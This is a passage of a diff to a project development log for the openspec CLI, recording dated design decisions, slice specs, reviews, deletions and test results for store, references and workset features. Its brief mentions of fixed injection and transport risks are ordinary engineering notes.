workspace guards stay (they quote the live `actionContext.mode: + "workspace-planning"` contract, reachable until 4.1, and refuse rather + than advertise); the three out-of-guard workspace-prose mentions + reword. Ground truth correction: five templates carry guards, zero + reference initiatives (roadmap had said seven with initiative refs). +- 2026-06-11: Decided autonomously (review me): docs get a mechanical + accuracy pass in 1.4 (`docs/cli.md` store section, removed + `workspace open` selector rows, stale default-XDG-path fix, token + renames in `docs/workspaces-beta/`) so no doc instructs a dead command; + deleting the beta docs belongs to the Phase 5 remainder and the L1 + rewrite stays deferred. +- 2026-06-11: Decided autonomously (review me): checked-in beta guidance + is cut, not updated — `shared-context-beta.md` deleted, `SKILL.md` + rewritten around store discovery, `artifact-placement.md` loses its + beta-flow routing — per the locked 5.1 sequencing that guidance + surfaces die in 1.4. +- 2026-06-11: Decided autonomously (review me): the dead + `getDefaultContextStoreRoot` export (orphaned when 1.3 made `--path` + required) is deleted in the rename pass, not renamed; and the + over-600-line modules the rename touches (`operations.ts`, + `commands/context-store.ts`) are not split in this slice because the + Phase 5 deletions and 4.1 rebuild are about to shrink them (recorded + module-size reason per the runbook bar). +- 2026-06-11: Decided autonomously (review me): discovered during 1.4 + implementation that `.codex/` is git-ignored (`.gitignore:158`) — the + use-openspec guidance the roadmap called "checked-in" is actually the + L8 ignored-local-skill. Its store-discovery rewrite (beta reference + deleted, SKILL.md and artifact-placement reworked) lands on disk for + local agents but cannot appear in commits; L8 keeps ownership of the + final disposition (ignored local skill vs generated vs checked-in). +- 2026-06-11: Wrote the delete-legacy-command-groups slice spec (the + Phase 5 command-group deletion) and folded two parallel adversarial + reviews (subagent: reject, three P1s; codex CLI: reject, one P1) — + every finding verified against code and folded: the `config` command's + workspace-profile integration (which even executes `npx openspec + workspace update`) is now in scope as the second included behavior + change; `src/core/store/binding.ts` is kept (the planning-home + carve-out depends on it through `workspace/foundation.ts`), with a + recorded dead-export carve-out ledger owned by 4.1; partial test edits + are named (`registry.test.ts`, `config-profile.test.ts`, + `foundation.test.ts`); `docs/concepts.md` loses its whole Coordination + Workspaces section; the "Use initiatives…" status constraint rewords + to read-only compatibility language; 39 diagnostic codes pinned for + the deletion ledger. +- 2026-06-11: Decided autonomously (review me): narrowed the locked 5.1 + sequencing wording — "opening machinery dies in 4.1" now reads "the + workspace state model and workspace-planning mode die in 4.1". The + zero-consumer opening helpers (`openers.ts`, `open-surface.ts`) are + deleted with the command groups, because once `workspace open` is gone + nothing can reach them and keeping them would be exactly the + hidden-not-deleted state the locked criteria reject. 4.1 builds new + assembly; it does not need the dead launchers. +- 2026-06-11: Decided autonomously (review me): orphan deletion is + transitive in the command-group deletion slice — the five + command-consumed core workspace modules, the whole + `src/core/collections/` tree, the `config` command's + workspace-profile integration, and the orphaned `path-env` test + helper go with the groups; `docs/workspaces-beta/` and the cli.md / + concepts.md legacy sections are deleted rather than updated + (superseding the 1.4 decision that parked the beta docs for the + Phase 5 remainder). +- 2026-06-11: Wrote the delete-legacy-command-groups plan (five + deletion waves, one commit, grep-before-delete discipline) and folded + two parallel plan reviews (subagent: approve-with-fixes; codex: + reject) — all verified and folded: two acceptance scenarios had no + implementing test (the planning-home mode pin — nothing in the suite + asserts `actionContext.mode` today — and the docs pointer grep gate), + `docs/cli.md` had dead-command references outside every cited range + (agent-table rows 51-56, the Stores summary cell, config-section + lines 1178/1180), the config map gained the interface and core-preset + call sites (49-52, 523-524) with the full test ranges (134-172, + 422-516), the parity test's initiative carve-out removal is named as + a deliberate fourth partial edit, and the spec's byte-stable clause + now allows the new removal-coverage tests. The reworded constraint + string gets its first-ever pin in the new test. +- 2026-06-11: Capstone (6.1) COMPLETE. The whole-delta gauntlet ran + four mechanisms (/code-review at max effort with all 12 verified + candidates confirmed, a 32-agent adversarial Workflow with six + lenses and refute-style verification, a codex whole-delta review, + and a completeness critic); the consolidated 2 P1 + 13 P2 findings + were all fixed in one round (37ad867) and re-verified live - the + highest-impact being the ~/openspec layout turning $HOME into a + phantom nearest root (the walk now requires a qualifying openspec/), + the --json failure contract (every failure path now emits exactly + one status document), prompt-render sanitization of cloned content, + and three store-lifecycle TOCTOU/ordering hazards. Decided + autonomously (review me): planningHome was RESTORED to status JSON + rather than rewriting eleven generated-skill references - it is a + published agent contract, which reverses the planned + PlanningHomeSummary dead-code collapse; store remove now commits the + registry removal before deleting files. The release-readiness report + is committed (capstone/release-readiness.md) with zero open P1/P2 + findings; every queue item's boxes are ticked except Merged to main, + per the run's standing instruction. +- 2026-06-11: Capstone (6.1) technical audits done + (`capstone/technical-audits.md`). Single-resolver invariant HOLDS + (one precedence implementation; nine entry points through it; one + latent unreachable fallback queued for deletion). Dependency + direction HOLDS (zero core→commands/cli imports). Dead-code sweep: + no P2s; five P3s queued (the unreachable apply fallback + + resolveCurrentPlanningHomeSync, test-only resolveRegisteredStore + with its stale --store-path fix text, the zero-consumer references + barrel line, the PlanningHomeSummary identity wrapper, the parseJson + test-helper x11); notes recorded (mkdir copies, the checkout-path + prose convention, ext:: threat-model comment, sanctioned test-only + exports). Module sizes bounded. docs/agent-contract.md committed: + the full agent contract verified against emitting code with 14 + consistency findings — one gauntlet-grade P2 (several --json + failure paths in validate/show/status/instructions print stderr + only, no JSON document) queued for the gauntlet fix round; key-casing + and envelope-unification findings recorded as known gaps (published + JSON renames are product decisions). Current PR-head net LOC vs + origin/main: src −3,189 (deletions outweigh the rebuild), test +956; + gross insertions dominated by openspec/work planning artifacts. +- 2026-06-11: Capstone (6.1) usability audits done + (`capstone/usability-audits.md`). The error-catalog walk covered 55 + wrong turns live (human + JSON): 46 pass against the + actionable/store-carrying/honest bar; 9 fail (1 P1 - a raw + YAMLParseError stack trace for unparseable configs on real roots; + 4 P2 - the corrupt-registry fix never names the file, instructions + drops its Fix line, validate summaries offer no drill-down, and + implicit-root scaffolding creates roots doctor calls unhealthy; + 4 P3). All queued for the capstone fix round - the report cannot + commit with open P1/P2s. Vocabulary sweep: docs and src clean except + ChangeStatus.initiative re-emitting stored legacy links on status + JSON (queued; schema parse tolerance stays - user data). TTFS: 2 + commands, 2 concepts, measured live; every step prints the next + command. +- 2026-06-11: Capstone (6.1) persona journeys all pass + (`capstone/journeys.md`). Journeys 2 and 3 added as standing e2e + (`test/cli-e2e/capstone-journeys.test.ts`): the layered flow + (config-driven discovery, fetch-recipe citation, design in the app + repo's own root, store read-only) and externalized planning (full + lifecycle from a pointer repo, zero --store flags, no planning state + growth). Journey 4 ran as a live cold-start dogfood: a fresh codex + session with no insider knowledge built the store setup and pointer flow + from --help output and generated guidance alone; later review removed the + code-repo declaration/map portion of that experiment. +- 2026-06-11: Executed the Phase 5 remainder, closing out 5.1 + (decision record: `slices/delete-legacy-command-groups/ + remainder.md`). Deleted `schemas/workspace-planning/` (no src code + named it after 4.1, but `openspec schemas` still ADVERTISED it — a + shipped invitation into a dead workflow); deleted the four + `workspace-*` beta change folders (unimplemented planning relics — + archiving would have asserted completion); decided L2: the four + wholly-workspace accepted specs (workspace-open, + workspace-foundation, workspace-change-planning, workspace-links) + deleted — an accepted-spec library that REQUIRES the impossible is + worse than one with a gap — and the workspace requirements excised + from cli-config (the profile-apply prompt flow) and + cli-artifact-workflow (the setup-commands and schema-instructions + requirements plus eight workspace-scoped scenarios), bounded + deliberately short of the broad docs rewrite the roadmap forbids. + Incidental workspace mentions in five other specs recorded as + capstone vocabulary-audit input. All 36 remaining accepted specs + validate; the current PR-head full suite is green at 1,761 tests. +- 2026-06-11: Implemented slice 4.1 in two checkpoints plus a + review-fix round and a simplify pass, completing Phase 4. CP1 + executed the deletion ledger's carve-outs widened to whole-module + deaths (src/core/workspace, store/binding.ts, getRepoPath, the + policy cascade, the ten template guards with the parity test flipped + to a no-residue assertion): 27 files, −2,196 lines. CP2 added + `openspec context` — the JSON agent brief, the human working-set + listing, and the --code-workspace emitter (available members only, + typed context_file_exists refusal) — as presentation over the 3.6 + composition through a new shared command gather (doctor refactored + onto it, behavior-identical). The review round (spec-compliance + + /code-review + codex, no P1s) fixed the --json write-failure + stdout contamination (the write now precedes the brief; exactly one + JSON document), the self-reference honesty gap, the + position-fragile registry-diagnostic coupling (now selected by + code), dead policy params, leftover binding imports, and added the + working-set unit matrix. Simplify extracted the shared stale-path + sweep into shared-gather, deleted the dead Windows-path machinery + and a stale workspace-kind test, and recorded the + context_output_dir_missing plan amendment. Recorded for the + capstone: the resolver's both-shapes stderr warning fires for every + command (per-command suppression would fragment the one-resolver + contract); PlanningHomeSummary is now field-identical to + PlanningHome (deliberate JSON insulation or collapse — capstone + judges); the npm export surface shrank (workspace/binding/ + getRepoPath gone from dist) — fine pre-release. +- 2026-06-11: Wrote the assemble-working-context plan (4.1, two + checkpoints: deletions leaves-first, then assembly) and folded two + plan reviews (both approve-with-fixes). The catch that mattered: the + spec's own `code_workspace_exists` diagnostic name collides with the + vocabulary sweep's `workspace_*` token ban — amended to + `context_file_exists` (the `--code-workspace` flag is hyphen-safe). + Also folded: the parity test's workspace-planning guard assertion + flips to an absence assertion (it currently pins the guards EXIST); + the change-status-policy tranche names `ChangeStatus.affectedAreas` + and the artifact-graph barrel re-export; the doctor-extraction claim + weakened to behavior-identical (the e2e asserts fields, not bytes); + the unresolved-members-on-stderr e2e mapped; the sweep guardrail + reworded to manual-grep honesty; stale hedges resolved (the + workspace test files named; the binding tests are two its, not a + block). Both reviewers verified the deletion order dependency-safe + (planning-home drops its workspace import before workspace/ dies; + binding dies after workspace/foundation) and every anchor accurate. +- 2026-06-11: Wrote the assemble-working-context slice spec (4.1) and + folded two adversarial reviews (both approve-with-fixes, converging, + one P1 pair). The deletion-grounding P1s: `binding.ts` dies WHOLE — + 5.1 kept it only because workspace/foundation imported it, so with + workspace/ gone the entire ~300-line module (plus its registry.test + binding tests and barrel line) would be exactly the hidden-not- + deleted state the 5.1 criteria reject; and the five workflow-template + workspace-planning guards that 5.1 explicitly deeded to 4.1 ("they + quote the library contract that 4.1 deletes") are now in the + deletion list with their parity-hash and .codex churn named. Also + folded: the change-status-policy cascade enumerated + (summarizeAffectedAreas et al.); the doctor/context shared data + gather made mandatory with doctor-only inputs staying doctor-side + (context recorded as deliberately silent on wrong turns); the + member-mapping table pinned (available = path AND empty status; + stale paths and invalid ids are not-available; registry-unreadable + bare members); code-workspace write semantics pinned + (code_workspace_exists + --force, no implicit mkdir, stderr + confirmation under --json); `getRepoPath` deleted rather than + re-hidden (its recorded consumers evaporated); fetchRecipe exported + for one recipe source; the naming paragraph recorded (context vs + view vs open; project-context disambiguation). +- 2026-06-11: Decided autonomously (review me): 4.1's surface is a new + top-level `openspec context` (JSON agent brief / human listing / + --code-workspace file emitter with --force); assembly is + presentation over inspectRelationships through a shared command-layer + gather; opening is REPLACED by emitted artifacts — no open verb, no + editor launching; the deletions follow the ledger carve-outs widened + to whole-module deaths where the keep-rationale collapsed. +- 2026-06-11: Implemented slice 3.6 (relationship health) in two + checkpoints plus a review-fix round, completing the reference-health shape: + health-mode reference indexing, pure `inspectRelationships` composition, and + root-scoped `openspec doctor`. Later review removed the code-repo + declaration/map health branch. +- 2026-06-11: Wrote and implemented the 3.4/3.5 code-repo + declaration/map experiments. On 2026-06-19 product review concluded the + model was premature; the command group, registry section, instruction + output, doctor/context surfaces, tests, and dedicated slice files were + deleted. Legacy registry data is tolerated only so old beta machines do not + break on read. +- 2026-06-11: Implemented slice 3.3 (store canonical remote) in two + checkpoints plus a review-fix round: the optional `remote` in + `store.yaml` (strict schema retained; `setup --remote` writes it + before the initial commit, refuses empty values and existing + identity files); observed origins probed read-only into the + machine-local registry at setup (both backend-resolution sites) and + register, with rerun-safe reporting (a same-checkout origin backfill + refreshes the entry but reports `already_registered`); doctor's + `metadata.remote` + `git.origin_url`; the sharing chain canonical → + observed → today's wording; `{id, remote}` reference declarations + normalized with fill-if-absent dedup; and the unresolved-reference + fix as a verbatim-pasteable absolute-path clone command. The review + round caught and fixed: the nested-repo origin leak (git -C walks + up — probes now guard with an at-root check), shell-quoting and + flag/metacharacter injection in the rendered clone fix (shell-inert + allowlist with teammate-wording fallback), the execute-phase TOCTOU + on --remote, and the rerun-reporting break. Simplify extracted the + duplicated hand-edit thrower and restructured registration around a + normalized `sameCheckout` predicate (fixing a symlinked-path + reporting edge). Capstone notes recorded: the `~/openspec/<id>` + convention lives in one computed + five prose sites; the remote + allowlist admits git's `ext::` transport (team-committed configs + only — harden to recognized URL shapes if remotes ever arrive from + less-trusted sources). Full suite green (90 files, 1678 tests). +- 2026-06-11: Wrote the store-canonical-remote plan (3.3, two + checkpoints) and folded two plan reviews (both approve-with-fixes): + the clone fix renders ABSOLUTE home paths (`~` never expands outside + a shell and agent JSON consumers execute argv directly — the spec's + `~/openspec/<id>` form is amended); setup's origin probe must reach + BOTH backend-resolution sites (`prepareSetupPlan` and + `setupPreparedStore`) or the rerun path re-introduces the erasure + P1, and it stays at call sites rather than inside + `resolveGitStoreBackendConfig` (hot read paths); the + sharing-guidance mechanism is concrete (`StoreMutationResult` gains + canonical/observed remotes, dropped from JSON, rendered by + `printMutationHuman` canonical → observed → today's wording); the + spec's setup-JSON contradiction resolved in favor of the unchanged + `StoreOutput` shape; `getOriginUrl` trims probe output; the + `--remote`-vs-existing refusal moves into `prepareStoreSetup` before + any prompt or write; dedup pins the fill-if-absent duplicate case; + registry persistence anchors corrected; TEST-NET fixtures use + `git remote add`, never clone. +- 2026-06-11: Wrote the store-canonical-remote slice spec (3.3) and + folded two adversarial reviews (subagent: approve-with-fixes with a + P1; codex: reject — converging). The P1: a setup rerun would have + silently erased the registry's observed remote because only register + probed the origin while `storeBackendsMatch` compares remotes; the + fix probes in both flows, preserving the 1.3 rerun-no-op contract. + Also folded: register's contract restated precisely (never commits, + never modifies an EXISTING store.yaml — the confirmed-conversion + path still creates `{version, id}` identity, without a remote); the + strict-schema compatibility claim corrected to its real one-way form + (old CLIs reject remote-bearing store.yaml; recorded as a standing + constraint that 3.4 must not add store.yaml fields without a version + bump or strictness revisit); mixed-shape references dedup defined + (normalize to `{id, remote?}[]`, dedup by id, first remote wins); + the clone fix made pasteable verbatim via the `~/openspec/<id>` + convention; `setup --remote` against an existing store.yaml fails + with the hand-edit fix instead of silently ignoring the flag; the + doctor UX example redrawn from the real layout; the no-network + clause made testable (TEST-NET URL pin). +- 2026-06-11: Decided autonomously (review me): 3.3 keeps two remotes + in two homes — team-authored canonical in committed `store.yaml` + (written only by `setup --remote` or hand-editing), observed origin + machine-local in the registry (probed read-only at setup/register, + refreshed by re-register, live-probed for display; the persisted + copy is 3.6 groundwork). The unresolved-reference clone source rides + the reference declaration (`{id, remote}` map entries) because no + local store state exists for an unregistered store. Resolved index + entries gain no remote field; `StoreOutput` stays unchanged (doctor + is the inspection surface); no new diagnostic codes. +- 2026-06-11: Implemented slice 3.2 (declared-store fallback) in two + checkpoints plus a review-fix round: the `store:` pointer in + `openspec/config.yaml`, the resolver classification (directory-typed + shape stats; warning-silent pointer read; `invalid_store_pointer` + with unparseable/non-string reasons; the declaration-origin rewrap; + `source: "declared"`), the `isStoreSelectedRoot` predicate across + all eight consumers, the both-shapes stderr warning, and the init + pointer guard (refuses malformed pointers and pointer-repo + subdirectories, anchored before any mutation). Three review + mechanisms found one real regression — empty/comments-only configs + briefly classified malformed, which would have stranded the + documented comment-out conversion path — fixed with regression tests + alongside the shared `classifyOpenSpecDir` (resolver and init can + never disagree), the shared config probe, and the consolidated + snapshot test helper. A simplify pass made the predicate a type + guard and single-sourced the malformed-reason strings. Full suite + green (89 files, 1656 tests); the e2e journey proves the full + lifecycle in a pointer repo with no `--store` anywhere, composing + with 3.1's references through the declared root. Process note: one + review-fix commit landed on a detached HEAD (an agent moved HEAD + during the fan-out) and was fast-forwarded back onto the branch. +- 2026-06-11: Wrote the declared-store-fallback plan (3.2, two + checkpoints) and folded two plan reviews (both approve-with-fixes): + an EIGHTH `source === 'store'` check surfaced + (`show.ts:160` `printNonInteractiveHint`) — the spec's seven-site + inventory is amended; the init guard moves to immediately after + `validate()` (legacy cleanup and the global-config migration write + run before `createDirectoryStructure`, so the original anchor would + have violated "creates nothing"); the declaration-origin prefix is a + call-site rewrap preserving codes and an unprefixed fix field (the + template-prefix idea missed the `fromStoreError` pass-throughs); the + targeted config read is a shared exported helper so init does not + duplicate it; the test matrix gained all five prefixed taxonomy + codes, the no-write malformed-pointer assertion, deterministic + byte-identity commands, and positive assertions for the config-only + no-pointer case. +- 2026-06-11: Wrote the declared-store-fallback slice spec (3.2) and + folded two adversarial reviews (subagent: approve-with-fixes with a + P1; codex: reject with two P1s — converging). The biggest catch: the + spec's own UX example used a relative path while its core decision + requires declared roots to behave exactly like `--store` roots; the + fix is one store-selected predicate (`storeId` set) adopted by all + seven `source === 'store'` consumers (banner, hints, new-change + display, status threading, validate/show suggestion suppression, + archive's absolute cross-root paths). Also folded: `openspec init` + refuses to scaffold a pointer directory (conversion requires + removing the `store:` line first); malformed pointers fail with + `invalid_store_pointer` instead of silently flipping the write + target; pointer resolution is one hop; the resolver's config read is + warning-silent; the two shape stats require directories; the + declaration-origin error is a true prefix via a `declaredOrigin` + parameter on the shared pipeline (no fork). +- 2026-06-11: Decided autonomously (review me): amended the locked 3.2 + wording "doctor warns when a root has both planning shape and a + pointer" — no project-level doctor command exists, so the warning + lives in resolution stderr (once per invocation, both modes), and + 3.6 owns the structured health surface. Also decided: a config-only + directory with no `store:` key keeps today's root behavior (freshly + initialized minimal roots keep working); hint continuity appends + `--store <id>` for declared roots so pasted hints work from any cwd. +- 2026-06-11: Implemented slice 3.1 (store references) in two + checkpoints plus a review-fix round: `references:` in + `openspec/config.yaml` (raw-string parsing), the + `src/core/references.ts` assembler (one registry read, the narrow + `inspectRegisteredStore` extraction shared with `resolveStoreRoot`, + fence-aware first-Purpose-line summaries, five warning codes, the + 50KB budget shared with the context cap and measured against the + real rendering in UTF-8 bytes), and the index wired into both + instruction surfaces in both modes with an omitted-not-empty JSON + contract. Three post-implementation review mechanisms found no P1s; + the six converged findings (fence-poisoned summaries, the + empty-vs-omitted contract, the orphan truncation fix line, budget + under-counting, corrupt-registry branch ordering, a throwing + inspection path) were fixed with regression tests, and a simplify + pass consolidated the new test fixtures into + `test/helpers/openspec-fixtures.ts`, deleted a dead defensive + wrapper, and single-sourced the 50KB cap. Full suite green + (88 files, 1641 tests); the e2e layered-flow test proves the + PM-to-dev journey against the built binary including the verbatim + fetch. +- 2026-06-11: Wrote the store-references plan (3.1, two checkpoints) + and folded two parallel plan reviews (both approve-with-fixes): pure + renderers live in core beside the assembler so the 50KB budget + measures the real output (truncation stops before the cap with the + warning line exempt); the `inspectRegisteredStore` extraction cut is + pinned narrow (metadata/health stages only — registry lookup stays in + `resolveStoreRoot`, whose seven error codes stay byte-identical); + config is read once in the command layer and suppresses the + generator's internal read; the Purpose-line scanner is self-contained + (the markdown parser's section methods are protected); and the test + matrix gained the symmetric `--store`, boundary byte-identity, + no-recursion, nothing-frozen, and not-inlined assertions. +- 2026-06-11: Wrote the store-references slice spec (3.1) and folded + two adversarial review rounds (subagent: approve-with-fixes with two + grounding P1s — `parseSpec()` throws on imperfect specs so summaries + extract tolerantly, and the apply human surface exists so the index + lives in both surfaces and both modes; codex: approve-with-fixes — + the assembler is async at the command boundary and passed into the + sync generators, the rendered index shares the 50KB context budget + with order-preserving truncation, and registry corruption degrades + to `reference_registry_unreadable`). Decided autonomously (review + me): five warning diagnostic codes (unresolved/invalid-id/ + root-unhealthy/registry-unreadable/index-truncated) that degrade + instructions instead of failing them; the parse-raw/ + validate-in-assembler split; the one-level no-recursion rule; + symmetric declarations (the resolved root's config, store or repo); + self-references silently omitted; summaries from the first Purpose + line with bare-id rendering when absent; zero-spec stores index as + empty entries; no workflow-template changes; the docs home is a new + "Referencing stores from a project" subsection in docs/cli.md. +- 2026-06-11: Implemented the delete-legacy-command-groups slice (the + Phase 5 first tranche) in one commit: the `workspace` and `initiative` + command groups, the five orphaned core workspace modules, the whole + collections tree, the completions entries, the config command's + workspace-profile integration, the update command's workspace + detection, and every doc that documented only them — net **−12,903 + lines** (+324/−13,227), with seven new removal-coverage tests, a + sweep pin on the surviving token allowlist, and `deletion-ledger.md` + (41 removed diagnostic codes; dead-export carve-outs owned by 4.1). + Side benefit: every CLI invocation loads ~25 fewer modules. Three + post-implementation review mechanisms found no P1s; all P2/P3 fixes + and a simplify pass landed (dead helper deleted, redundant fixtures + removed, byte-identity test hardened with directory markers and an + asserted update spawn, project-apply accept path regained coverage). + Full suite green (85 files, 1616 tests). +- 2026-06-11: Decided autonomously (review me): ground truth uncovered + during the deletion — `actionContext.mode: "workspace-planning"` has + been **unreachable from the CLI since slice 1.2**, whose resolver + rework routes every supported command through `toPlanningHome` + (hardcoded `kind: 'repo'`). The deletion spec's planning-home scenario + was corrected to pin the byte-stable `repo-local` CLI behavior plus + the library contract (`buildActionContext` unit pin); the template + guards stay as text quoting a contract that only the library can + still produce, and 4.1 deletes both. Also recorded: the accepted spec + library (`openspec/specs/cli-config`, `workspace-*`, + `cli-artifact-workflow`) still REQUIREs deleted behavior — that is + parked Later Idea L2, surfaced in the deletion ledger as a capstone + known-gap. +- 2026-06-11: Implemented slice 1.4 in four green checkpoints on + `codex/store-root-parity`: (1) the total mechanical rename — command + group `context-store` → `store`, 45 diagnostic codes, dotted diagnostic + fields, + JSON keys, data dir `stores/`, internal modules and symbols, every + help/error/hint string; (2) the two riders — `workspace open` lost its + legacy store selectors (persisted path-bound views still reopen), and + the store group gained an unknown-subcommand hint that owns the + Commander error path; (3) guidance regeneration via a three-stream + fan-out — store-selection teaching in all workflow templates, docs + accuracy pass (cli.md, concepts.md, workspaces-beta with `--path` + correctness fixes, all invocations smoke-run), legacy-beta labels; + (4) guards and proof — vocabulary sweep-as-test, committed-format + pins, old-data-dir negative fixtures, `--store` description equality, + telemetry path, and the headless dogfood (one plain prompt → agent + discovered the store via `--help` + `store list` and created the + change with `--store`; transcript committed). Post-implementation + review ran three parallel mechanisms (spec-compliance: compliant, all + 16 scenarios pass; /code-review high: 10 verified findings; codex CLI: + approve-with-fixes); both P2s fixed (the hint builder's invalid + suggestions; guidance over-claiming the flag surface and reaching the + storeless feedback workflow) plus the cheap P3s, then a simplify pass + made the presence guards registry-driven and tied the guidance's + taught command list to the live flag surface. Full suite green + (95 files, 1745 tests). +- 2026-06-11: Wrote the store-rename-and-guidance plan (four green + checkpoints: mechanical rename, riders, guidance regeneration with a + three-stream fan-out, sweep/guards/dogfood) and folded two parallel + plan reviews (subagent and codex CLI, both approve-with-fixes): the + rider-1 deletion list now names the unreachable guard branch and + preserves persisted path-bound view state; rider 2 owns the whole + Commander `command:*` error path; the docs pass gained + `docs/concepts.md` and runtime-correctness fixes for beta-doc examples + (`--path` since 1.3) plus a built-binary invocation smoke; the sweep's + roots exclude the `openspec/` planning history by design; old-data-dir + negative fixtures (valid and corrupt) and exact-equality + `--store`-description tests were added; the dogfood pins + `openspec init --tools claude --profile core`. Spec updated in the + same round for docs scope and sweep-root consistency. +- 2026-06-12: User-directed (owner review of the 4.1 autonomous + decisions; full direction in `workset-direction.md`): the 4.1 surface + renames `openspec context` → `openspec workset`, anchored on the work + item (`workset <change>`; bare form keeps the root union) with + change-named `.code-workspace` files as the durable, reopenable views; + a launch consumer joins scope because emitted paths do not cross agent + sandbox boundaries (the working set must shape the session boundary — + workspace file for IDE agents, boundary flags for CLI launch); the + 3.5 `repo` command group dissolves into a single plumbing command + (`openspec map`), with point-of-need prompts and diagnostic fix + strings as the primary fill paths and machine tokens kept as shipped; + no workspace-style grouping registry returns. Grammar guardrails + recorded: noun groups only for closed-set product objects, generic + verbs for collections (no per-collection groups, ever), "workspace" + permanently retired, lifecycle stays in skills/schemas. To be + implemented as a follow-up slice under the standard discipline. +- 2026-06-12: Ran the 7.1 research checkpoint and committed + `slices/personal-worksets/research.md`: the `f858c19^` opener + archaeology (the implicit two-style split, the PATH/PATHEXT scan, + cross-spawn handoff mechanics, the not-to-inherit ledger), the + current-tree idioms (registry lock/atomic-write, the pure + `.code-workspace` builder, `@inquirer` house rules, JSON contracts, + the recoverable fake-executable test helpers), and live verification + of all four built-in tools' flag spellings and hazards (the cursor + shim's `agent` first-arg hijack; both agent CLIs read a positional + as a starter prompt). +- 2026-06-12: Wrote the personal-worksets slice spec (7.1) and folded + two adversarial reviews (subagent: approve-with-fixes, every + citation verified; codex: reject — converging). The P1: the draft's + attach-dirs argv skipped the primary member and leaned on `cwd`, + contradicting the locked "one attach flag per member" — argv now + carries an attach pair for every member (primary included, + single-member shapes pinned). Also folded: the no-tool open path + (interactive prompt / typed `workset_tool_required`), the + stale-saved-tool rule (`tool` parses as a plain string; unknown ids + surface at open with the manual fallback), the signal exit contract + (`128 + n`, no banner), the hand-edit parse contract (absolute + paths, non-empty members, label rules, duplicates), pinned JSON + envelopes for all four subcommands including the `open --json` + typed rejection and the `command:*` handler, derived-file lock + semantics with ENOENT-tolerant remove, the teammate/arbitrary- + composition scenario, the win32 availability matrix, and the + opener-config touchpoints (hand-edit-only at v1; `config set` + rejects unknown keys; malformed-config degradation recorded). +- 2026-06-12: Decided autonomously (review me): the 7.1 spec's open + shapes — the group is `workset create/list/open/remove` (no edit at + v1; recompose or hand-edit); saved views live in one machine-local + `<dataDir>/worksets/worksets.yaml` on the store-registry idiom with + the generated `<name>.code-workspace` files beside it, regenerated + on every open (deleting `worksets/` removes every trace); workset + names use the one kebab grammar in their own namespace; opener + config is an `openers` key in global `config.json` (hand-edit-only + at v1) merged over built-ins per-field; `open` carries no `--json` + mode (typed one-document rejection instead — stdio-inherit handoff + cannot compose with the JSON contract); child exit codes and + signals propagate honestly (`code` / `128+n`, no banner); + `writeFileAtomically` and the lock loop extract to a shared + `src/core/file-state.ts` now that they have two call sites; agent + guidance does not teach worksets at v1 (human convenience; template + parity pins stay untouched). +- 2026-06-12: Ran the 7.1 capstone dogfood + (`slices/personal-worksets/capstone-dogfood.md`). Scripted walk in a + scratch env (isolated XDG, fake code/cursor/claude/codex on a + controlled PATH, built CLI): compose→list→open for both styles with + exact argv verified from the launch log — code got exactly the + generated workspace file, claude/codex got one --add-dir pair per + member with the primary included and codex's sandbox pre-args, no + positional anywhere; the unknown-tool strand test printed the + manual fallback; the missing-member skip, safe remove, and + byte-untouched member folders all held. The interactive wizard ran + from a real pty via expect (name → `.` default member → tool + select → open-now declined → reopen line; a stdin-EOF run + exercised Cancelled./130 live). Cold start: a fresh headless codex + session with no insider knowledge — told only that "the openspec + CLI can keep a named view of folders" — reached an opened workset + from `--help` alone (group discovery, subcommand help, repeatable + --member compose, open; launch log and saved yaml verified). No + product findings; the one defect surfaced was in the dogfood's own + first fake-tool shim. Full suite re-run green (101 files, 1799 + tests); capstone box ticked. +- 2026-06-12: Ran the 7.1 /simplify pass (four parallel cleanup + agents: reuse, simplification, efficiency, altitude) and applied + the converged fixes: the two textually-parallel lock-error + factories collapsed into a data-parameterized + `makeLockErrorFactory` in file-state (the altitude verdict — the + fix strings document the lock's own stale-steal/creation behavior, + so the templates belong with the mechanism; store shapes stay + byte-identical under their pins); the hand-rolled group-option + merge replaced by Commander's built-in `optsWithGlobals()`; the + prompt module's preview-helper ladder flattened with one + `assertKnownTool` spelling; `asErrorMessage` hoisted to + shared-output (store's private copy deleted, `asStatus` reuses it); + the member-row renderer deduped across list/fallback/remove-confirm + (`formatMemberRows`); open's `availabilityVerified` flag replaced + by per-branch opener resolution (deleting an unreachable branch and + the prompt path's redundant PATH re-scan); `serializeWorksetsState` + emits the schema-validated entries directly; a `toWorkset` helper + deduped the entry conversion; remove's `--yes` path skips the + duplicate pre-read; `KEBAB_ID_FIX` adopted at the two remaining + literal sites; dead exports unexported; the pathIsDirectory-vs- + FileSystemUtils choice documented in place. Skipped with notes: + converging the store group's `command:*` fallback onto the + group-action pattern (cross-slice; queued for the next store + touch), threading the create→open table/scan hints (low value, + adds coupling), and the predating change-metadata kebab literal. + Full suite green (101 files, 1799 tests). +- 2026-06-12: Ran the 7.1 post-implementation review — three parallel + mechanisms (spec-compliance agent: compliant-with-fixes, all locked + decisions hold; /code-review at high effort via a seven-angle + finder fan-out; codex 5.5 high: approve-with-fixes) — and fixed + every converged P2 plus the cheap P3s in one round. No P1s + anywhere. Behavioral fixes: the open fallback rule is structural + (every post-regeneration failure except prompt cancellation carries + "Open manually:" with the surviving members — the curated code set + had already drifted past invalid_opener_config and + workset_tool_required); the primary-reassignment note is printed; + zero-installed-tools interactive opens say so instead of + misreporting the table's first row; launch failures get a pasteable + --tool alternative; Ctrl-C at the post-save open-now offer declines + the offer instead of reporting a saved create as cancelled; the + parent ignores SIGINT/SIGTERM while a launched tool runs (the 128+n + contract was unreachable for tty Ctrl-C — the parent died first); + synchronous spawn throws map to workset_launch_failed; the + tool.cmd PATHEXT double-append is gone (the scan agrees with + spawn-time resolution); the bare `workset --json` probe keeps the + one-JSON-document contract via a group-level option + action + handler; the shared lock's stat-failure path is deadline-bounded + (was a pre-existing store busy-spin hazard); remove's derived-file + cleanup now follows the durable write; flag members validate + before the wizard spends the user's time; cross-spawn loads lazily + (~6ms off every CLI invocation, measured). Structure: the command + layer split into workset.ts / workset-prompts.ts / workset-input.ts + (the 838-line module had crossed the lean bar); formatZodIssues, + folderStyleNameProblem, KEBAB_ID_FIX, pathIsFile/pathIsDirectory/ + isNodeErrorCode each have one shared home; the prompt-cancellation + branch lifted into emitFailure with store's private copy collapsed. + Tests: the guided-flow success path, post-save-cancel, bare-group + probes, the launch-failure (ENOEXEC garbage executable), corrupt + open leg, and the win32 as-is matrix added; the in-process + interactive tests pin a controlled PATH (they silently depended on + the host's installed tools), and withPrependedPathEnv prefers the + base env's PATH key (a win32 duplicate-key hazard). Spec amended in + the same round 